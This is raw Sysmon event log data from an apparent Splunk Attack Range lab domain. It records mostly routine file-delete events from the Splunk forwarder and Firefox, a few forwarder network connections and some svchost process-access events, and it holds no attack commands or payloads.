23542300x800000000000000016816Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:38.167{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5EFD7C251BE3576A957C61F99AF37933,SHA256=D5A8964ABDF4D09884D735A51E9EDBC0DDE01473380AD2F56BB085ACF746C951,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:39.393{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7507003163FD92179F669F6173C1AFE1,SHA256=9979B5179341C82EFFF4CC2228D27562A965ACBEF0C3A139E14BD0B793776490,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016817Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:39.198{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=36AFAF5BEDD1C221BC95C53E61FADA85,SHA256=DC94175AC03D569C702A2EAFD57F2611C2C9CC4DD1A7CA467BDBFFAE7EB84582,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:40.410{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62249E1160F88DDB29494926ECDE67AF,SHA256=6B398A6BA484F371FFE68B4CB4CCE0556FABFACD113BD35B763098C170472823,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016818Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:40.229{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B028874CF1DF91A5098A360456A8724,SHA256=767F26D6DE7D71C24862D6AA5E2D4897592B36ED43E87400259377D83CF717A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:41.428{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9FB4F24A688A10EBD67D457BE6EC4C5,SHA256=8E889647B6492CBF2AE85D705F3655BB838FBACAB00659FDC90775384AF9C6C1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016819Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:41.276{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=564F2EF5BB0373C69BFBDBDD03963A79,SHA256=EABFC4FBA1020C57E93920E272F843403BFCEAEEF6D81548776E7CEB4540C6BE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:42.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6558B6D433FC63B8347E4EF2140277E6,SHA256=7EB8C96D8E9CF47488391BA407A35D76F9DB2D20AA30EDFC1887CCF859CB943C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016820Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:42.292{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=455EB08446C00F9D5FD89896ACBF9963,SHA256=8D816D1B6A0B8AE8620EFD7FB03E27318281ED1CFA04EA716C7161B14968D732,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:41.308{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59618-false10.0.1.12-8000- 23542300x800000000000000052442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:43.458{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C57454D9B5C048A7EE684C59166C1B73,SHA256=A02A2E30E7274DDF0E1A3B3542FB1586F8FB3AA484D7AB6988A29CDC12C342A4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016821Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:43.323{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD67F3182D79E614D74D014933F51E1A,SHA256=570EAB49722C673B144ADB238B205F1EA1F8ABD0EC7BC1B584AFBDE7301189B7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:44.489{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C0013D8B914CE3AEC62F722C5BD532E2,SHA256=303F1793CED97EF182E6F4F7C464EEBD13807F9F8206B028E88F92825F7C0F9C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016823Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:42.379{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50314-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016822Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:44.323{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2D5B8592F097D580A172D187A0AAA170,SHA256=B45ADC1F8E903585BDBD370871582D05E36BC8186676A1AC6911B6F364AA8230,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:45.526{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3DE7A406C6257E6B1BDD416DF4A48C62,SHA256=593A80F62532B7506EBC6FA5834DE63BF390F7A28274CF5BADB36E05B289B8C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016824Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:45.401{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=795406251BA8DB0E23129018487720DE,SHA256=D5A0E12FB227C0E978F0ED05275B2BFB6C64EB1D7FC1CA2F4659F4CC4A64AECF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:46.573{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E669A749B754F841F179B23EDD3B4C77,SHA256=00266F09E1F4EF546B17F89B6D67BC24F3305C7B1B81C01269ADE76472D48E86,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016825Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:46.432{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=96270D2902D7955F0FB7845AF3EC6B50,SHA256=95E42EA1F4B04A692A2F8B7C6BD694EFC61AFFB392EECC44ED795B880709A8CF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:47.607{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B37A1850DEA55D3F075FFCE95FAFF8F,SHA256=DA72082D976EE71128A24110DD6B7A25CB2107D144FADDCA90F0036B35AFC901,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016826Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:47.464{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B1CE077227B275BA6B3357C05350555,SHA256=602C46334532ED92CFC26E8B5C7BCD0C84E7CF316EA3CE56EA8077E396EF5C13,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000052449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:47.026{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:47.026{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:47.026{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000052451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:48.625{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=684A75034ECD683DB3FDFE23681E9876,SHA256=599B99EE641B4F6B20845C9D7E62CFAC6DAB96CBEC0BA780E7FED6091B357DA4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016827Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:48.479{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5AA097F47A5093750F98317614DE7D8,SHA256=0AC31CE53A1273E5B61039EE513F118F5CE1DCF17A1CBB8150AD4671219D82D2,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016829Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:48.379{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50315-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016828Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:49.510{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A9CEC7B7B07D4C7204B80AD3158EC08,SHA256=85E7F4C339A56B02AEE1D9AC80AFC5AD07DB2197731E99BC60FD92CEF7A34C85,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:49.656{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4251513D11DFB1B8B22AA40801CBCB63,SHA256=B4691A3706F9AD5110E1AD543C824332D909F8CA1347F0352E3B2DF46FF77345,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000052452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:46.408{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59619-false10.0.1.12-8000- 23542300x800000000000000016830Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:50.526{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2352B9830F0C9666DAA04550FE3F155D,SHA256=9DD208A878A6FC3473D3CA6E479523DDF172782477FDB5BFDC605238A7C61E3C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:50.706{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F432F07DC387565DFA2A7164296584E1,SHA256=F2BBCB3C3CCDB19BB8F49E7AD84970B091CFE3FFE0B10336F4B0546922228D19,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:50.387{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=7D9BE766CCF41FFD4B0E2C39543D7CA6,SHA256=398E2FDCE6916E437BA8C3E238BCE8F68EFC3804EF07D4F3523F88D9B2A09033,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:50.387{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=B6C554AE436709C81E99E6BD82BCEC63,SHA256=2A394F5602AE88198DBEE074614D9B6A290BEA29C2B4A6EB181CE1F04492A402,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:50.387{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=813E2B927B47613F1E7726C06FB2C74E,SHA256=D2B19E9B73DDE64235DC215CAC979406FFE103AD9277F1235365DF40F1AC1A04,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:50.387{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=B5B625EE2DB27379DFD64343BB1BC3FD,SHA256=BC4C6C4B51F3267AFA7AE20BCFC6DDBCA8A35419D78FB1C6DBB0EA3A9454FC5D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:50.387{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=F6A790D67C758FE56847F1037A1F2E97,SHA256=431A20F7FD614D3B33E634D5434FA269953275F00099DAB14DF0E41AFF1D798A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016831Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:51.679{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F9398D960EF50AFE601405EAFF91BB23,SHA256=CAEF7B1A9BC40864F81F1D1A78493A6E906C9926ED04280E97F076794E989B4C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:51.740{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C86DF7951F4A3ACFADF09FB6CA4AD8A,SHA256=97D3F585B875DA23FD26F14673F9E70B6CB5148F910B93219EB0FEF7AB190073,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:52.754{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=752864FA4DD5E9A88F405CFB5752A224,SHA256=F4F0E7447634826A6C87B06540BDD9AAE7264899A7F0B3D44ED8143A19A9FB10,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016832Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:52.694{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A45A7D17BD9919AB69739C35BFAAB37,SHA256=A3F4DA139E02BC07DA6CB39B8A82511BBBDA4BA2CFE3E810D2865BE54CDACAAC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:53.938{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:53.854{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=45735BB8722BDBF4DEE286B0B4D30EB8,SHA256=0F711E0F3164AD58FC34FF5D37F1541B56E7A9FCC55BB8C8905CDFA9206D95FB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016833Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:53.710{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E014A9947273A694078B5DC53B105C0B,SHA256=F88CBD35C0882BE79A36AC510D96A4F4548A0A3F28F458B67460207764BBB088,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:54.903{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46E490ECFBA59AC20EB928CC3553C472,SHA256=E0246C684BBF98FED3CAA908DD3904A01ECEE8755900142F04897CDF775A6852,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016834Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:54.788{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91737785213FAA33946AABB2DA278374,SHA256=C409B54D9A424452025B892CF81359A3540214823147315155ECF44E55CEC30A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016837Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:55.804{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5DD0A6D4E450ED8C5951339759E70011,SHA256=85A9206AA988B7A20AB5458D5F9DE26ADE8A63D7E216B98AD2C8EE5F303751BB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:55.936{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A95AAAACCEF52737ADBB772ED5EBF1C1,SHA256=A0D323FC9E937E2D9C7FCFD21546CFCAA7B737B748F6A53C42135617BC7D4DD2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 